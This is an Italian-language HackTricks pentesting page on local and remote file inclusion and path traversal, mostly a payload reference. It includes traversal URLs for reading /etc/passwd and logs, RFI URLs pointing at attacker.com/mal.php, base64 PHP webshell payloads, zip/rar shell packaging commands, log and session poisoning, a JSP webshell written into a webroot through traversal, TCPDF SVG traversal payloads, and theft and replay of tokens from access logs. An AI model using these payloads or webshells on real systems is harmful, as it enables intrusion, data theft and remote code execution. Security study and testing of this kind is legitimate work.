File Inclusion/Path traversal

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

File Inclusion

Remote File Inclusion (RFI): Il file viene caricato da un server remoto (Vantaggio: puoi scrivere il codice e il server lo eseguirà). In php questo è disabilitato di default (allow_url_include).
Local File Inclusion (LFI): Il server carica un file locale.

La vulnerabilità si verifica quando l’utente può in qualche modo controllare il file che verrà caricato dal server.

Funzioni PHP vulnerabili: require, require_once, include, include_once

Uno strumento interessante per sfruttare questa vulnerabilitĂ : https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Mescolando diverse liste LFI *nix e aggiungendo altri percorsi ho creato questa:

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt

Prova anche a cambiare / con \
Prova anche ad aggiungere ../../../../../

Una lista che usa diverse tecniche per trovare il file /etc/password (per verificare se la vulnerabilità esiste) può essere trovata here

Windows

Unione di diverse wordlists:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Prova anche a cambiare / con \
Prova anche a rimuovere C:/ e aggiungere ../../../../../

Una lista che usa diverse tecniche per trovare il file /boot.ini (per verificare se la vulnerabilità esiste) può essere trovata here

OS X

Controlla la lista LFI di linux.

Fondamenti LFI e bypass

Tutti gli esempi sono per Local File Inclusion ma potrebbero essere applicati anche a Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences rimosse non ricorsivamente

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass dell’aggiunta di altri caratteri alla fine della stringa fornita (bypass of: $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

Questo è risolto a partire da PHP 5.4

Codifica

Potresti usare codifiche non standard come double URL encode (e altre):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

I moderni HTML-to-PDF engines (es. TCPDF o wrapper come html2pdf) analizzano volentieri attacker-provided HTML, SVG, CSS e font URLs, tuttavia vengono eseguiti all’interno di trusted backend networks con accesso al filesystem. Una volta che puoi inject HTML in $pdf->writeHTML()/Html2Pdf::writeHTML(), spesso puoi exfiltrate file locali che l’account del web server può leggere.

  • Fingerprint the renderer: ogni PDF generato contiene un campo Producer (es. TCPDF 6.8.2). Conoscere la build esatta ti indica quali filtri di percorso sono presenti e se la URL decoding avviene prima della validazione.
  • Inline SVG payloads: TCPDF::startSVGElementHandler() legge l’attributo xlink:href dagli elementi <image> prima di eseguire urldecode(). Incorporare un SVG malevolo dentro una data URI fa sĂŹ che molti HTML sanitizers ignorino il payload mentre TCPDF lo parsifica comunque:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDF antepone $_SERVER['DOCUMENT_ROOT'] ai percorsi che cominciano con / e risolve .. solo successivamente, quindi usa segmenti iniziali ../../.. o /../../.. per uscire dalla root dopo l’anteposizione.

  • Encoding per bypassare filtri ingenui: Versions ≤6.8.2 controllano solo la sottostringa letterale ../ prima di decodificare l’URL. Inviare ..%2f (o ..%2F) nell’SVG o in un attributo <img src> grezzo aggira il controllo, perchĂŠ la sequenza di traversal dot-dot-slash viene ricreata solo dopo che TCPDF chiama urldecode().
  • Double-encoding per decoding a piĂš stadi: Se l’input utente viene decodificato dal web framework e da TCPDF, doppia-encoda la slash (%252f). Una decodifica la trasforma in %2f, la seconda decodifica in TCPDF la trasforma in /, producendo /..%252f.. → /../../../… senza mai mostrare ../ al filtro iniziale.
  • HTML <img> handler: TCPDF::openHTMLTagHandler() contiene lo stesso bug nell’ordine delle operazioni, permettendo payload HTML diretti come src="%2f..%252f..%252ftmp%252fsecret.png" per leggere qualsiasi bitmap localmente raggiungibile.

Questa tecnica leaks qualsiasi cosa leggibile dal PDF worker (scansioni del passaporto, API keys rese come immagini, ecc.). Hardeners l’hanno corretto in 6.9.1 canonicalizzando i percorsi (isRelativePath()), quindi durante i test privilegia versioni più vecchie di Producer.

Dalla cartella esistente

Forse il back-end sta controllando il percorso della cartella:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Esplorare le directory del file system di un server

Il file system di un server può essere esplorato ricorsivamente per identificare directory, non solo file, impiegando alcune tecniche. Questo processo implica determinare la profondità delle directory e sondare l’esistenza di cartelle specifiche. Di seguito un metodo dettagliato per raggiungere questo obiettivo:

  1. Determinare la profondità della directory: Accertare la profondità della directory corrente recuperando con successo il file /etc/passwd (applicabile se il server è basato su Linux). Un esempio di URL potrebbe essere strutturato come segue, indicando una profondità di tre:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Sonda le cartelle: Aggiungi il nome della cartella sospetta (es., private) all’URL, poi torna a /etc/passwd. Il livello di directory aggiuntivo richiede di incrementare la depth di uno:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Interpreta i risultati: La risposta del server indica se la cartella esiste:
  • Errore / Nessun output: La cartella private probabilmente non esiste nella posizione specificata.
  • Contenuto di /etc/passwd: La presenza della cartella private è confermata.
  1. Esplorazione ricorsiva: Le cartelle scoperte possono essere ulteriormente esplorate per sottodirectory o file usando la stessa tecnica o i metodi tradizionali di Local File Inclusion (LFI).

Per esplorare directory in posizioni diverse nel file system, adatta di conseguenza il payload. Ad esempio, per verificare se /var/www/ contiene una directory private (assumendo che la directory corrente sia ad una profonditĂ  di 3), usa:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation è un metodo impiegato per manipolare i percorsi di file nelle applicazioni web. Viene spesso utilizzato per accedere a file riservati bypassando determinate misure di sicurezza che aggiungono caratteri alla fine dei percorsi. L’obiettivo è creare un percorso che, una volta alterato dalla misura di sicurezza, punti ancora al file desiderato.

In PHP, varie rappresentazioni di un percorso possono essere considerate equivalenti a causa della natura del file system. Per esempio:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ sono tutti trattati come lo stesso percorso.
  • Quando gli ultimi 6 caratteri sono passwd, aggiungere una / (rendendolo passwd/) non cambia il file target.
  • Allo stesso modo, se .php è appeso a un percorso (come shellcode.php), aggiungere un /. alla fine non altera il file a cui si accede.

Gli esempi forniti mostrano come utilizzare path truncation per accedere a /etc/passwd, un target comune a causa del suo contenuto sensibile (informazioni sugli account utente):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

In questi scenari, il numero di traversals necessari potrebbe essere intorno a 2027, ma questo numero può variare in base alla configurazione del server.

  • Uso di segmenti con punto e caratteri aggiuntivi: Le traversal sequences (../) combinate con segmenti aggiuntivi con punto e altri caratteri possono essere usate per navigare il file system, ignorando di fatto stringhe aggiunte dal server.
  • Determinare il numero necessario di traversal: Attraverso tentativi si può trovare il numero preciso di ../ sequenze necessari per raggiungere la root directory e poi /etc/passwd, assicurandosi che eventuali stringhe aggiunte (come .php) siano neutralizzate ma il percorso desiderato (/etc/passwd) rimanga intatto.
  • Iniziare con una directory fittizia: È pratica comune cominciare il percorso con una directory inesistente (come a/). Questa tecnica è usata come misura precauzionale o per soddisfare i requisiti della logica di parsing dei percorsi del server.

Quando si impiegano tecniche di path truncation, è cruciale comprendere il comportamento del parsing dei percorsi del server e la struttura del filesystem. Ogni scenario può richiedere un approccio diverso, e spesso sono necessari test per trovare il metodo piÚ efficace.

Questa vulnerabilità è stata corretta in PHP 5.3.

Trucchi per bypassare i filtri

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

In php questa funzionalità è disabilitata di default perchÊ allow_url_include è Off. Deve essere On per funzionare, e in tal caso potresti includere un file PHP dal tuo server e ottenere RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Se per qualche motivo allow_url_include è On, ma PHP sta filtering l’accesso a pagine web esterne, secondo questo post, puoi usare ad esempio il protocollo data con base64 per decodificare un codice PHP b64 e ottenere RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Tip

Nel codice precedente, il +.txt finale è stato aggiunto perché l’attaccante aveva bisogno di una stringa che terminasse con .txt, quindi la stringa termina con essa e dopo la decodifica b64 quella parte restituirà solo dati inutili e il vero codice PHP verrà incluso (e quindi eseguito).

Un altro esempio non usando il php:// protocol sarebbe:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python elemento radice

In python, in un codice come questo:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Se l’utente fornisce un percorso assoluto in file_name, il percorso precedente viene semplicemente rimosso:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Questo è il comportamento previsto secondo the docs:

Se un componente è un percorso assoluto, tutti i componenti precedenti vengono scartati e l’unione continua a partire dal componente di percorso assoluto.

Elenco delle directory in Java

Sembra che se hai una Path Traversal in Java e richiedi una directory invece di un file, viene restituito un elenco della directory. Questo non accade in altri linguaggi (afaik).

I 25 parametri principali

Ecco la lista dei 25 parametri che potrebbero essere vulnerabili a local file inclusion (LFI) (da link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI usando wrappers e protocolli PHP

php://filter

I PHP filters permettono di eseguire operazioni di modifica sui dati prima che vengano letti o scritti. Ci sono 5 categorie di filtri:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Rimuove i tag dai dati (tutto ciò che è tra i caratteri “<” e “>”)
  • Nota che questo filtro è scomparso nelle versioni moderne di PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Trasforma in una codifica diversa (convert.iconv.<input_enc>.<output_enc>). Per ottenere la lista di tutte le codifiche supportate esegui in console: iconv -l

Warning

Abusando del filtro di conversione convert.iconv.* puoi generare testo arbitrario, il che può essere utile per scrivere testo arbitrario o far sÏ che una funzione come include processi testo arbitrario. Per maggiori info consulta LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Comprimi il contenuto (utile se si esfiltrano molte informazioni)
  • zlib.inflate: Decomprime i dati
  • Encryption Filters
  • mcrypt.* : Deprecato
  • mdecrypt.* : Deprecato
  • Other Filters
  • Eseguendo in php var_dump(stream_get_filters()); puoi trovare un paio di filtri inaspettati:
  • consumed
  • dechunk: inverte l’HTTP chunked encoding
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,ÂŁhellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

La parte “php://filter” non fa distinzione tra maiuscole e minuscole

Utilizzo dei php filters come oracle per leggere file arbitrari

In this post viene proposta una tecnica per leggere un file locale senza ricevere l’output restituito dal server. Questa tecnica si basa su una boolean exfiltration of the file (char by char) using php filters come oracle. Questo perché i php filters possono essere usati per rendere un testo sufficientemente grande da far php sollevare un’eccezione.

Nel post originale puoi trovare una spiegazione dettagliata della tecnica, ma qui c’è un riassunto rapido:

  • Use the codec UCS-4LE to leave leading character of the text at the begging and make the size of string increases exponentially.
  • Questo verrĂ  usato per generare un text so big when the initial letter is guessed correctly che farĂ  scattare un errore in php
  • Il filtro dechunk rimuoverĂ  tutto se il primo char non è esadecimale, quindi possiamo sapere se il primo char è esadecimale.
  • Questo, combinato con il precedente (e altri filtri a seconda della lettera indovinata), ci permetterĂ  di indovinare una lettera all’inizio del testo osservando quando applichiamo sufficienti trasformazioni da farla non essere piĂš un carattere esadecimale. PerchĂŠ se è esadecimale, dechunk non la cancellerĂ  e la bomba iniziale farĂ  scattare l’errore in php.
  • Il codec convert.iconv.UNICODE.CP930 trasforma ogni lettera nella successiva (quindi dopo questo codec: a -> b). Questo ci permette di scoprire se la prima lettera è una a, per esempio, perchĂŠ se applichiamo 6 volte questo codec a->b->c->d->e->f->g la lettera non è piĂš un carattere esadecimale; quindi dechunk non la cancella e l’errore di php viene innescato perchĂŠ si moltiplica con la bomba iniziale.
  • Usando altre trasformazioni come rot13 all’inizio è possibile leak altri chars come n, o, p, q, r (e altri codec possono essere usati per spostare altre lettere nell’intervallo esadecimale).
  • Quando il char iniziale è un numero è necessario codificarlo in base64 e leakare le prime 2 lettere per leakare il numero.
  • Il problema finale è capire how to leak more than the initial letter. Usando filtri che riordinano la memoria come convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE è possibile cambiare l’ordine dei chars e portare in prima posizione altre lettere del testo.
  • E per poter ottenere further data l’idea è generare 2 bytes di junk data all’inizio con convert.iconv.UTF16.UTF16, applicare UCS-4LE per farla pivot with the next 2 bytes, e delete the data until the junk data (questo rimuoverĂ  i primi 2 bytes del testo iniziale). Continuare cosĂŹ fino a raggiungere il bit desiderato da leakare.

Nel post è stato anche pubblicato uno strumento per eseguire automaticamente questo: php_filters_chain_oracle_exploit.

php://fd

Questo wrapper permette di accedere ai file descriptor che il processo ha aperti. Potenzialmente utile per esfiltrare il contenuto dei file aperti:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Puoi anche usare php://stdin, php://stdout and php://stderr per accedere rispettivamente ai file descriptors 0, 1 and 2 (non sono sicuro di come questo possa essere utile in un attacco)

zip:// and rar://

Carica un file Zip o Rar con una PHPShell all’interno e accedervi.
Per poter abusare del protocollo rar deve essere specificamente attivato.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Nota che questo protocollo è limitato dalle configurazioni di PHP allow_url_open e allow_url_include

expect://

Expect deve essere attivato. Puoi eseguire codice usando questo:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Specifica il tuo payload nei parametri POST:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Un file .phar può essere utilizzato per eseguire codice PHP quando un’applicazione web utilizza funzioni come include per il caricamento di file. Lo snippet di codice PHP mostrato sotto dimostra la creazione di un file .phar:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Per compilare il file .phar, va eseguito il seguente comando:

php --define phar.readonly=0 create_path.php

Alla sua esecuzione verrĂ  creato un file chiamato test.phar, che potrebbe potenzialmente essere sfruttato per compromettere Local File Inclusion (LFI).

Nel caso in cui l’LFI legga solo il contenuto del file senza eseguire il codice PHP al suo interno — tramite funzioni come file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime() o filesize() — si può tentare lo sfruttamento di una deserialization vulnerability. Questa vulnerabilità è legata alla lettura di file usando il protocollo phar.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

È stato possibile abusare any arbitrary file read from PHP that supports php filters per ottenere una RCE. The detailed description can be found in this post.
Riassunto molto rapido: un 3 byte overflow nell’heap di PHP è stato abusato per alter the chain of free chunks di una specifica dimensione al fine di poter write anything in any address, quindi è stato aggiunto un hook per chiamare system.\ È stato possibile alloc chunk di dimensioni specifiche abusando di più php filters.

Altri protocolli

Controlla altri possibili protocols to include here:

  • php://memory and php://temp — Scrivere in memoria o in un file temporaneo (non sono sicuro di come questo possa essere utile in un file inclusion attack)
  • file:// — Accesso al filesystem locale
  • http:// — Accesso a URL HTTP(s)
  • ftp:// — Accesso a URL FTP(s)
  • zlib:// — Compression Streams
  • glob:// — Trova pathname che corrispondono al pattern (Non restituisce nulla di stampabile, quindi non è molto utile qui)
  • ssh2:// — Secure Shell 2
  • ogg:// — Audio streams (Non utile per leggere file arbitrari)

LFI via PHP’s ‘assert’

I rischi di Local File Inclusion (LFI) in PHP sono notevolmente elevati quando si usa la funzione ‘assert’, che può eseguire codice contenuto in stringhe. Questo è particolarmente problematico se l’input contenente directory traversal characters come “..” viene controllato ma non correttamente sanificato.

For example, PHP code might be designed to prevent directory traversal like so:

assert("strpos('$file', '..') === false") or die("");

Sebbene ciò miri a impedire il traversal, crea involontariamente un vettore per code injection. Per sfruttarlo per leggere il contenuto dei file, un attacker potrebbe usare:

' and die(highlight_file('/etc/passwd')) or '

Allo stesso modo, per eseguire comandi di sistema arbitrari, si potrebbe usare:

' and die(system("id")) or '

È importante URL-encode these payloads.

PHP Blind Path Traversal

Warning

Questa tecnica è rilevante nei casi in cui tu control il file path di una PHP function che access a file ma non vedrai il contenuto del file (come una semplice chiamata a file()) perchÊ il contenuto non viene mostrato.

In this incredible post è spiegato come un blind path traversal possa essere abusato via PHP filter per exfiltrate the content of a file via an error oracle.

In sintesi, la tecnica utilizza la codifica “UCS-4LE” per rendere il contenuto di un file così grande che la PHP function che apre il file innescherà un errore.

Poi, per leak il primo char viene usato il filter dechunk insieme ad altri come base64 o rot13 e infine i filtri convert.iconv.UCS-4.UCS-4LE e convert.iconv.UTF16.UTF-16BE vengono usati per place other chars at the beggining and leak them.

Funzioni che potrebbero essere vulnerabili: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Per i dettagli tecnici consulta il post menzionato!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

Quando il codice lato server che riceve/carica file costruisce il percorso di destinazione usando dati controllati dall’utente (es., un filename o URL) senza canonicalizzare e validare, i segmenti .. e i path assoluti possono sfuggire alla directory prevista e causare la scrittura arbitraria di un file. Se riesci a posizionare il payload in una directory esposta via web, di solito ottieni una RCE non autenticata posizionando un webshell.

Tipico flusso di exploitation:

  • Identifica un write primitive in un endpoint o background worker che accetta un path/filename e scrive contenuto su disco (es., message-driven ingestion, XML/JSON command handlers, ZIP extractors, ecc.).
  • Individua le directory esposte via web. Esempi comuni:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Crea un percorso di traversal che esca dalla directory di storage prevista verso il webroot e includi il contenuto del tuo webshell.
  • Accedi al payload caricato via web ed esegui comandi.

Note:

  • Il servizio vulnerabile che esegue la scrittura può ascoltare su una porta non-HTTP (es., un JMF XML listener su TCP 4004). Il portale web principale (porta diversa) poi servirĂ  il tuo payload.
  • Sui stack Java, queste scritture di file sono spesso implementate con semplici concatenazioni File/Paths. La mancanza di canonicalisation/allow-listing è il difetto principale.

Esempio generico in stile XML/JMF (gli schemi dei prodotti variano – il wrapper DOCTYPE/body è irrilevante per il traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Hardening che sconfigge questa classe di bug:

  • Risolvi in un percorso canonico e verifica che sia discendente di una directory di base allow-listed.
  • Rifiuta qualsiasi percorso contenente .., root assoluti, o drive letters; preferisci nomi di file generati.
  • Esegui il writer con un account a basso privilegio e separa le directory di scrittura dalle root servite.

Remote File Inclusion

Spiegato in precedenza, follow this link.

Via Apache/Nginx log file

Se il server Apache o Nginx è vulnerabile a LFI nella funzione include puoi provare ad accedere a /var/log/apache2/access.log or /var/log/nginx/access.log, inserire nell’user agent o in un GET parameter una php shell come <?php system($_GET['c']); ?> e includere quel file

Warning

Nota che se usi le virgolette doppie per la shell invece delle virgolette singole, le virgolette doppie saranno modificate nella stringa “quote;”, PHP genererà un errore e niente altro verrà eseguito.

Inoltre, assicurati di scrivere correttamente il payload o PHP darĂ  errore ogni volta che tenterĂ  di caricare il file di log e non avrai una seconda opportunitĂ .

Questo può essere fatto anche in altri log ma fai attenzione, il codice dentro i log potrebbe essere URL encoded e questo potrebbe distruggere la Shell. L’header authorisation “basic” contiene “user:password” in Base64 ed è decodificato nei log. La PHPShell potrebbe essere inserita dentro questo header.
Altri possibili percorsi di log:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Leggere i log di accesso per raccogliere auth token basati su GET (token replay)

Molte app accettano per errore session/auth token tramite GET (es., AuthenticationToken, token, sid). Se hai una primitive di path traversal/LFI nei log del server web, puoi rubare questi token dai log di accesso e riprodurli per bypassare completamente l’autenticazione.

How-to:

  • Use the traversal/LFI to read the web server access log. Common locations:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • Some endpoints return file reads Base64-encoded. If so, decode locally and inspect the log lines.
  • Grep for GET requests that include a token parameter and capture its value, then replay it against the application entry point.

Example flow (generic):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

Decodifica il body se è Base64, poi replay un token catturato:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Note:

  • Tokens in URLs sono loggati di default; non accettare mai bearer tokens via GET in sistemi di produzione.
  • Se l’app supporta piĂš nomi di token, cerca chiavi comuni come AuthenticationToken, token, sid, access_token.
  • Ruota qualsiasi token che potrebbe essere leaked nei log.

Tramite Email

Invia una mail a un account interno (user@localhost) contenente il tuo PHP payload come <?php echo system($_REQUEST["cmd"]); ?> e prova a includere la mail dell’utente con un path come /var/mail/<USERNAME> o /var/spool/mail/<USERNAME>

Tramite /proc//fd/

  1. Carica molte shells (per esempio: 100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, con $PID = PID del processo (può essere brute forced) e $FD il file descriptor (può essere brute forced anch’esso)

Tramite /proc/self/environ

Come un file di log, invia il payload nello User-Agent; sarà riflesso all’interno del file /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

Se puoi uploadare un file, iniettaci semplicemente la shell payload (es.: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Per mantenere il file leggibile è meglio iniettare nei metadati delle immagini/doc/pdf

Via Zip fie upload

Caricare uno ZIP contenente una PHP shell compressa e accedere:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Tramite PHP sessions

Verifica se il sito web usa PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

In PHP queste sessioni sono memorizzate nei file /var/lib/php5/sess\[PHPSESSID]_

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Imposta il cookie su <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Usa LFI per includere il PHP session file

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

Se ssh è attivo, verifica quale utente è in uso (/proc/self/status & /etc/passwd) e prova ad accedere a <HOME>/.ssh/id_rsa

Via vsftpd logs

I log del server FTP vsftpd si trovano in /var/log/vsftpd.log. Nel caso in cui esista una Local File Inclusion (LFI) e sia possibile accedere a un server vsftpd esposto, si possono considerare i seguenti passi:

  1. Inietta un payload PHP nel campo username durante la procedura di login.
  2. Dopo l’iniezione, usa la LFI per recuperare i log del server da /var/log/vsftpd.log.

Via php base64 filter (using base64)

As shown in this article, il filtro PHP base64 ignora i caratteri non base64. Puoi usare questo per bypassare il controllo dell’estensione del file: se fornisci un base64 che termina con “.php”, ignorerà il “.” e aggiungerà “php” al base64. Ecco un esempio di payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Tramite php filters (senza file)

Questo writeup spiega che puoi usare i php filters per generare contenuto arbitrario come output. Questo significa fondamentalmente che puoi generare php code arbitrario per l’include senza doverlo scrivere in un file.

LFI2RCE via PHP Filters

Tramite segmentation fault

Upload un file che verrĂ  memorizzato come temporary in /tmp, poi nella stessa request scatena un segmentation fault, e il file temporaneo non verrĂ  cancellato e potrai cercarlo.

LFI2RCE via Segmentation Fault

Tramite Nginx temp file storage

Se hai trovato una Local File Inclusion e Nginx è in esecuzione davanti a PHP potresti riuscire a ottenere RCE con la seguente tecnica:

LFI2RCE via Nginx temp files

Tramite PHP_SESSION_UPLOAD_PROGRESS

Se hai trovato una Local File Inclusion anche se non hai una sessione e session.auto_start è Off. Se fornisci il PHP_SESSION_UPLOAD_PROGRESS nei dati multipart POST, PHP abiliterà la sessione per te. Potresti abusarne per ottenere RCE:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Tramite temp file uploads in Windows

Se hai trovato una Local File Inclusion e il server gira su Windows potresti ottenere RCE:

LFI2RCE Via temp file uploads

Tramite pearcmd.php + URL args

